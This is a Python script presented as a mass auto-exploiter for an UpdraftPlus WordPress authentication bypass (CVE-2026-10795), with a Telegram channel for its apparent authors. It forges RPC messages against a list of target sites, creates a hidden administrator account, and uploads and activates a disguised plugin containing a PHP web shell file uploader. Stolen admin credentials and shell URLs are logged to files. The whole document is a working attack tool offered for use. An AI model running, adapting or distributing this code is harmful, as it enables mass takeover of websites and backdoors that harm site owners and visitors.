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| #!/usr/bin/env python3
"""
CVE-2026-10795 UpdraftPlus Auto-Exploit & Mass Scanner
Usage: python3 exploit.py targets.txt
Output: admins.txt, uploaders.txt
Telegram: https://t.me/WebshellSR
Contact : @Devco1 & @BIBIL0DAY
"""
import argparse
import base64
import io
import json
import os
import random
import string
import sys
import time
import urllib3
import zipfile
from concurrent.futures import ThreadPoolExecutor, as_completed
from datetime import datetime
from urllib.parse import urljoin
import colorama
colorama.init()
import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# ─── Verified crypto ─────────────────────────────────────────────
ZERO_KEY = b'\x00' * 16
ZERO_IV = b'\x00' * 16
DEFAULT_THREADS = 30
DEFAULT_TIMEOUT = 15
# ─── Key names to try ────────────────────────────────────────────
KEY_NAMES = [
"0.central.updraftplus.com",
"1.central.updraftplus.com",
"2.central.updraftplus.com",
"migrator.updraftplus.com",
]
# ─── Admin settings ──────────────────────────────────────────────
ADMIN_USER = "WebshellRS"
ADMIN_EMAIL_DOMAIN = "security.local"
# ─── Telegram ────────────────────────────────────────────────────
TELEGRAM = "https://t.me/WebshellSR"
# ─── Random plugin name generator ────────────────────────────────
PLUGIN_ADJECTIVES = ["cache","seo","security","optimizer","backup","helper","analytics","optimizer","social","maintenance","utility","enhancer","performance","indexer","search","widget","toolbar","blocker","guard","protector"]
PLUGIN_NOUNS = ["engine","toolkit","suite","framework","manager","controller","handler","processor","booster","scanner","monitor","connector","integrator","solution","driver","module","component","service","worker","daemon"]
def random_plugin_name():
adj = random.choice(PLUGIN_ADJECTIVES)
noun = random.choice(PLUGIN_NOUNS)
num = random.randint(100, 999)
return f"{adj}-{noun}-{num}"
def build_plugin_zip(plugin_name):
php_file = plugin_name + '.php'
php_code = f'''<?php
/*
Plugin Name: {plugin_name.replace('-', ' ').title()}
Description: WordPress {plugin_name.replace('-', ' ').title()}
Version: 1.{random.randint(0,9)}.{random.randint(0,9)}
Author: WP Core
*/
echo '<center>Telegram: @WebshellSR <br>Contact : @Devco1 & @BIBIL0DAY<br><pre>'.php_uname()."\n".'<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>';if($_POST){{if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){{echo 'OK';}}else{{echo 'ER';}}}}?>
'''
z = io.BytesIO()
with zipfile.ZipFile(z, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr(f'{plugin_name}/{php_file}', php_code)
return base64.b64encode(z.getvalue()).decode()
# ─── Colors ──────────────────────────────────────────────────────
class C:
G = '\033[92m'; R = '\033[91m'; Y = '\033[93m'; C = '\033[96m'; B = '\033[1m'; E = '\033[0m'
def s(m): print(f"{C.G}[+]{C.E} {m}")
def e(m): print(f"{C.R}[-]{C.E} {m}", file=sys.stderr)
def i(m): print(f"{C.C}[*]{C.E} {m}")
def w(m): print(f"{C.Y}[!]{C.E} {m}")
def v(m): print(f"{C.G}{C.B}[VULN]{C.E} {m}")
def adm(m): print(f"{C.G}{C.B}[ADMIN]{C.E} {m}")
def up(m): print(f"{C.G}{C.B}[UPLOADER]{C.E} {m}")
# ─── Instant save ────────────────────────────────────────────────
def save(file, line):
with open(file, 'a', encoding='utf-8') as fh:
fh.write(line + '\n')
fh.flush()
os.fsync(fh.fileno())
# ─── Crypto ──────────────────────────────────────────────────────
def encrypt_payload(payload):
pt = json.dumps(payload, separators=(',', ':')).encode()
return base64.b64encode(AES.new(ZERO_KEY, AES.MODE_CBC, ZERO_IV).encrypt(pad(pt, AES.block_size))).decode()
def build_message(cmd, key_name, params=None):
fake_key = base64.b64encode(b'\x41' * 128).decode()
sk_len = format(len(fake_key), '03x')
payload = {"command": cmd, "time": int(time.time()), "key_name": key_name}
if params: payload["data"] = params
payload["rand"] = ''.join(random.choices(string.hexdigits, k=6))
enc = encrypt_payload(payload)
cl_len = format(len(enc), '016x')
return sk_len + fake_key + cl_len + enc
def send_rpc(target, cmd, key_name, params=None, timeout=DEFAULT_TIMEOUT):
target = target.strip()
if not target.startswith(('http://', 'https://')): target = 'http://' + target
if not target.endswith('/'): target += '/'
msg = build_message(cmd, key_name, params)
post = {"udrpc_message": msg, "format": "1", "key_name": key_name}
for url in [urljoin(target, 'wp-admin/admin-ajax.php'), target]:
try:
r = requests.post(url, data=post, timeout=timeout, verify=False,
headers={'User-Agent': 'Mozilla/5.0'})
if r.status_code == 200: return True, r.text, url
except: continue
return False, "", ""
# ─── Vuln check ──────────────────────────────────────────────────
def is_vuln(text):
if not text: return False
text = text.strip()
if text in ('0', '-1', ''): return False
try:
d = json.loads(text)
return isinstance(d, dict) and 'udrpc_message' in d and 'signature' in d
except: return False
# ─── Create admin ────────────────────────────────────────────────
def create_admin(target, key_name):
pw = ''.join(random.choices(string.ascii_letters + string.digits + '!@#$%', k=16))
params = {
"user_login": ADMIN_USER,
"user_email": f"{ADMIN_USER.lower()}@{ADMIN_EMAIL_DOMAIN}",
"user_pass": pw,
"role": "administrator",
"first_name": "System",
"last_name": "Admin"
}
ok, text, url = send_rpc(target, "users.add_user", key_name, params)
if ok and is_vuln(text): return True, pw
return False, None
# ─── Upload uploader plugin ──────────────────────────────────
def upload_plugin(target, key_name, plugin_name):
params = {
"filename": f"{plugin_name}.zip",
"data": build_plugin_zip(plugin_name),
"chunks": 1,
"chunk": 0
}
ok, text, url = send_rpc(target, "plugin.upload_plugin", key_name, params)
return ok and is_vuln(text)
# ─── Activate plugin ─────────────────────────────────────────────
def activate_plugin(target, key_name, plugin_name):
params = {"plugin": f"{plugin_name}/{plugin_name}.php"}
ok, text, url = send_rpc(target, "plugin.activate_plugin", key_name, params)
return ok and is_vuln(text)
# ─── Main exploit chain ──────────────────────────────────────────
def exploit_target(target):
target = target.strip()
if not target or target.startswith('#'): return
# Try each key name
found_key = None
for key_name in KEY_NAMES:
ok, text, url = send_rpc(target, "plugin.load_plugins", key_name)
if ok and is_vuln(text):
found_key = key_name
v(f"{target}")
s(f" Endpoint: {url}")
s(f" Key: {key_name}")
break
if not found_key:
return
# Generate unique plugin name for this target
plugin_name = random_plugin_name()
php_file = plugin_name + '.php'
target_url = target
if not target_url.startswith(('http://', 'https://')): target_url = 'http://' + target_url
target_url = target_url.rstrip('/')
base = f"{target_url}/wp-content/plugins/{plugin_name}/"
i(f" Plugin name: {plugin_name}")
# 1. Create admin
i(f" Creating admin '{ADMIN_USER}'...")
adm_ok, pw = create_admin(target, found_key)
if adm_ok and pw:
adm(f" {target_url}/wp-login.php#{ADMIN_USER}@{pw}")
save("admins.txt", f"{target_url}/wp-login.php#{ADMIN_USER}@{pw}")
else:
w(f" Admin creation returned encrypted response (may have succeeded)")
save("admins.txt", f"{target_url}/wp-login.php#{ADMIN_USER}@UNKNOWN_CHECK_MANUALLY")
# 2. Upload uploader plugin
i(f" Uploading {plugin_name}.zip...")
if upload_plugin(target, found_key, plugin_name):
up(f" Plugin uploaded")
# 3. Activate
i(f" Activating {plugin_name}...")
if activate_plugin(target, found_key, plugin_name):
up_url = base + php_file
up(f" Uploader: {up_url}")
save("uploaders.txt", up_url)
else:
w(f" Activation failed - try manual")
save("uploaders.txt", base + php_file + ' (MANUAL_ACTIVATE)')
else:
w(f" Upload failed")
print()
# ─── Load targets ────────────────────────────────────────────────
def load_targets(path):
targets = []
with open(path, 'r', encoding='utf-8') as f:
for line in f:
line = line.strip()
if line and not line.startswith('#'):
targets.append(line)
return targets
# ─── Main ────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(description='CVE-2026-10795 Auto-Exploit | Telegram: @WebshellSR')
parser.add_argument('targets', help='Target list file')
parser.add_argument('-T', '--threads', type=int, default=DEFAULT_THREADS)
parser.add_argument('-t', '--timeout', type=int, default=DEFAULT_TIMEOUT)
args = parser.parse_args()
if not os.path.isfile(args.targets):
e(f"File not found: {args.targets}")
sys.exit(1)
targets = load_targets(args.targets)
if not targets:
e("No targets loaded")
sys.exit(1)
# Init output files
ts = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
for f in ['admins.txt', 'uploaders.txt']:
if not os.path.exists(f):
with open(f, 'w') as fh: fh.write(f"# Webshell Security Researcher | {TELEGRAM}\n# Started: {ts}\n")
print(f"""
{C.C}{C.B}╔══════════════════════════════════════════════════════════╗
║ CVE-2026-10795 Auto-Exploit & Mass Scanner ║
║ UpdraftPlus <= 1.26.4 - Auth Bypass -> RCE ║
║ Telegram: {TELEGRAM:<30} ║
╚══════════════════════════════════════════════════════════╝{C.E}
""")
i(f"Targets: {len(targets)} | Threads: {args.threads}")
i(f"Admin: {ADMIN_USER} | Output: admins.txt, uploaders.txt")
i(f"Started: {ts}")
print()
scanned = 0
lock = __import__('threading').Lock()
def worker(t):
nonlocal scanned
try:
exploit_target(t)
with lock:
scanned += 1
if scanned % 10 == 0 or scanned == len(targets):
i(f"Progress: {scanned}/{len(targets)}")
except Exception as ex:
with lock:
scanned += 1
e(f"[{t}] {ex}")
with ThreadPoolExecutor(max_workers=args.threads) as ex:
list(ex.map(worker, targets))
print()
print("=" * 55)
s(f"Done! Scanned: {scanned}/{len(targets)}")
s(f"admins.txt - Admin credentials")
s(f"uploaders.txt - Uploader URLs")
s(f"Telegram: {TELEGRAM}")
print("=" * 55)
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
print("\n[!] Interrupted")
sys.exit(130)
|
